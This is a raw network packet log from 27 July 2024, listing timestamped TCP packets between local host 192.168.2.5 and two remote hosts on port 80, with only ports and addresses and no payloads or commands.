Jul 27, 2024 09:25:08.501790047 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.501820087 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.501825094 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.501852989 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.501852989 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.501884937 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.501894951 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.501918077 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.501929998 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.501951933 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.501961946 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.501996040 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.502034903 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.502067089 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.502080917 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.502099037 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.502123117 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.502131939 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.502142906 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.502165079 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.502173901 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.502197981 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.502207041 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.502230883 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.502242088 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.502263069 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.502271891 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.502295971 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.502304077 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.502351999 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.503495932 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.503535032 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.503545046 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.503568888 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.503582954 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.503602982 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.503612041 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.503633976 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.503644943 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.503673077 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.582875967 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.582926035 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.582967043 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.582997084 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.582998991 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.583029032 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.583055973 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.727665901 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.732983112 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.915312052 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.915395021 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.915447950 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.915481091 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.915517092 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.915551901 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.915585041 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.915616989 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.915672064 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.915672064 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.915672064 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.915672064 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.915672064 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.915672064 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.915672064 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.915672064 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.915724039 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.915776014 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.915806055 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.915838957 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.915870905 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.915906906 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.915906906 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.915906906 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.915906906 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.915906906 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.915921926 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.915942907 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.915957928 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.915976048 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.915983915 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.916007042 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.916019917 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.916027069 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.916058064 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.916063070 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.916090012 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.916101933 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.916121960 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.916136980 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.916167974 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.916171074 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.916203976 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.916224003 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.916234016 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.916239023 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.916266918 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.916277885 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.916311026 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.916316032 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.916348934 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.916373968 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.916380882 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.916395903 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.916414976 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.916440010 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.916446924 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.916492939 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.916492939 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.916520119 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.916553020 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.916570902 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.916604042 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.916610003 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.916635990 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.916665077 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.916670084 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.916687965 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.916703939 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.916721106 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.916744947 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.916754961 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.916771889 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.916798115 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.916805029 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.916814089 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.916836977 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.916855097 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.916886091 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.916888952 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.916918039 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.916939020 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.916968107 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.916973114 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.917000055 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.917026043 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.917047977 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.917049885 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.917083979 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.917104959 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.917130947 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.917136908 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.917164087 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.917186975 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.917196035 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.917210102 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.917228937 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.917248011 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.917260885 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.917284012 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.917293072 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.917309999 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.917323112 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.917346954 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.917373896 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.917376041 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.917404890 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.917429924 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.917444944 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.917453051 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.917476892 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.917495012 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.917510033 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.917541027 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.917541981 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.917572021 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.917576075 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.917587042 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.917608976 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.917624950 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.917643070 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.917659998 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.917675018 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.917695045 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.917711020 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.917727947 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.917742968 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.917764902 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.917777061 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.917787075 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.917805910 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.917828083 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.917838097 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.917860031 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.917870045 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.917897940 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.917902946 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.917934895 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.917958975 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.917968035 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.917994976 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.917999983 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.918032885 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.918067932 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.918082952 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.918082952 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.918118000 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:08.918124914 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:08.918175936 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:09.301856995 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:09.301892996 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:09.307315111 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:09.307353973 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:10.158490896 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:10.158705950 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:10.206331015 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:10.213826895 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:10.393182993 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:10.393244028 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:10.393280983 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:10.393290997 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:10.393315077 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:10.393337965 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:10.396074057 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:10.401128054 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:10.613454103 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:10.613526106 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:10.616731882 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:10.623354912 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:10.623522997 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:10.623522997 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:10.628521919 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:11.428620100 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:11.428673983 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:11.428709030 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:11.428725958 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:11.428744078 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:11.428759098 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:11.428759098 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:11.428780079 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:11.428802013 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:11.428843021 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:11.428844929 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:11.428874969 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:11.428884029 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:11.428908110 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:11.428916931 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:11.428946018 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:11.429573059 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:11.429606915 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:11.429629087 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:11.429642916 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:11.433830023 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:11.433881998 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:11.433887005 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:11.433922052 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:11.434284925 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:11.434334993 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:11.578336954 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:11.578382969 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:11.578418970 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:11.578454018 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:11.578589916 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:11.578589916 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:11.583487988 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:11.583539009 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:11.583575964 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:11.583610058 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:11.583777905 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:11.588663101 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:11.588717937 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:11.588752985 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:11.588787079 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:11.588819981 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:11.588932037 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:11.588932991 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:11.588932991 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:11.593852997 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:11.593904972 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:11.593930006 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:11.593940020 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:11.593950033 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:11.593975067 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:11.593980074 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:11.594008923 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:11.594014883 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:11.594054937 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:11.598594904 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:11.598632097 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:11.598649979 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:11.598664999 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:11.598668098 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:11.598700047 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:11.598705053 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:11.598750114 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:11.603394985 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:11.603430986 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:11.603450060 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:11.603460073 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:11.603467941 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:11.603501081 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:11.727859020 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:11.727951050 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:11.727984905 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:11.728019953 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:11.728030920 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:11.728054047 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:11.728065014 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:11.728096008 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:11.728107929 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:11.728141069 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:11.728151083 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:11.728176117 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:11.728182077 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:11.728208065 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:11.728214979 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:11.728241920 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:11.728251934 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:11.728286982 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:11.728795052 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:11.728828907 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:11.728873968 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:11.728879929 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:11.728912115 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:11.728920937 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:11.728945971 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:11.728951931 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:11.728986979 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:11.729630947 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:11.729679108 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:11.729682922 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:11.729717970 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:11.729723930 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:11.729751110 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:11.729763985 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:11.729783058 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:11.729798079 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:11.729825974 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:11.730530977 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:11.730578899 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:11.730582952 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:11.730617046 CEST	80	49705	185.215.113.16	192.168.2.5
Jul 27, 2024 09:25:11.730624914 CEST	49705	80	192.168.2.5	185.215.113.16
Jul 27, 2024 09:25:11.730663061 CEST	49705	80	192.168.2.5	185.215.113.16
